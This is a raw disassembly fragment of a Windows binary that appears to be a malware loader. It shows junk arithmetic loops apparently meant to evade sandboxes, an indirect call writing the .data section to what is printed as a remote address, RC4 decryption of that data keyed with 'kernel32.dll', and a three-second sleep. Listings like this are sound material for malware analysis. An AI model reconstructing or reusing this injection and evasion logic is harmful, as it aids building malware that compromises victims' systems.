add eax, edx
sub eax, dword [rbp + 0x104]
mov dword [rbp - 0x30], eax
mov ecx, dword [rbp + 0x74]
movsxd rax, ecx
imul rax, rax, 0x55555556
shr rax, 0x20
mov rdx, rax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
mov eax, edx
imul eax, dword [rbp - 0x30]
add dword [rbp + 0x100], eax
mov eax, dword [rbp + 0x108]
mov dword [rbp + 0x10c], eax
mov eax, dword [rbp + 0x104]
mov dword [rbp + 0x108], eax
mov eax, dword [rbp - 0x30]
mov dword [rbp + 0x104], eax
add dword [rbp + 0x74], 1
cmp dword [rbp + 0x74], 0xc7
jle 0x140002fac
mov dword [rbp + 0x70], 0
jmp 0x140003098
mov eax, dword [rbp + 0x100]
imul eax, dword [rbp + 0x70]
mov ecx, eax
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add eax, edx
sub eax, dword [rbp + 0x104]
mov edx, dword [rbp + 0x70]
lea ebx, [rdx + 1]
cdq
idiv ebx
add eax, ecx
add dword [rbp + 0x100], eax
mov edx, dword [rbp + 0x70]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 4
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x32
mov eax, edx
sub eax, ecx
test eax, eax
jne 0x140003094
mov eax, dword [rbp + 0x10c]
sub eax, dword [rbp + 0x108]
add dword [rbp + 0x104], eax
add dword [rbp + 0x70], 1
cmp dword [rbp + 0x70], 0x12b
jle 0x14000302b
mov dword [rbp + 0x6c], 0
jmp 0x140003127
mov dword [rbp + 0x68], 0
jmp 0x14000311d
mov eax, dword [rbp + 0x6c]
imul eax, dword [rbp + 0x68]
add dword [rbp + 0x10c], eax
mov edx, dword [rbp + 0x6c]
mov eax, dword [rbp + 0x68]
add eax, edx
sub dword [rbp + 0x108], eax
mov eax, dword [rbp + 0x68]
lea ebx, [rax + 1]
mov eax, dword [rbp + 0x6c]
cdq
idiv ebx
mov ecx, edx
mov eax, ecx
lea edx, [rax + 1]
mov eax, dword [rbp + 0x104]
imul eax, edx
mov dword [rbp + 0x104], eax
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add edx, eax
mov eax, dword [rbp + 0x104]
add eax, edx
mov edx, dword [rbp + 0x6c]
lea ebx, [rdx + 1]
cdq
idiv ebx
mov ecx, edx
mov eax, ecx
add dword [rbp + 0x100], eax
add dword [rbp + 0x68], 1
cmp dword [rbp + 0x68], 4
jle 0x1400030b3
add dword [rbp + 0x6c], 1
cmp dword [rbp + 0x6c], 0x3e7
jle 0x1400030aa
mov r10, qword [rbp]
mov rcx, qword [rbp + 0x18]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x20], 0
mov r9, rcx
lea r8, section..data
mov rcx, rax
call r10
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.printRemoteAddress_void_
mov rax, qword [rbp + 0x18]
lea r8, str.kernel32.dll
mov edx, eax
lea rax, section..data
mov rcx, rax
call sym.rc4_unsigned_char__int__char_const_
lea rax, str.___Durmiendo_3_segundos..
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x1401744a0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ecx, 0xbb8
call sym.customSleep_unsigned_int_
mov dword [rbp + 0x64], 0
jmp 0x14000327e
cmp dword [rbp + 0x64], 0xf9
jle 0x1400031c6
mov eax, 0
add rsp, 0x198
pop rbx
pop rbp
ret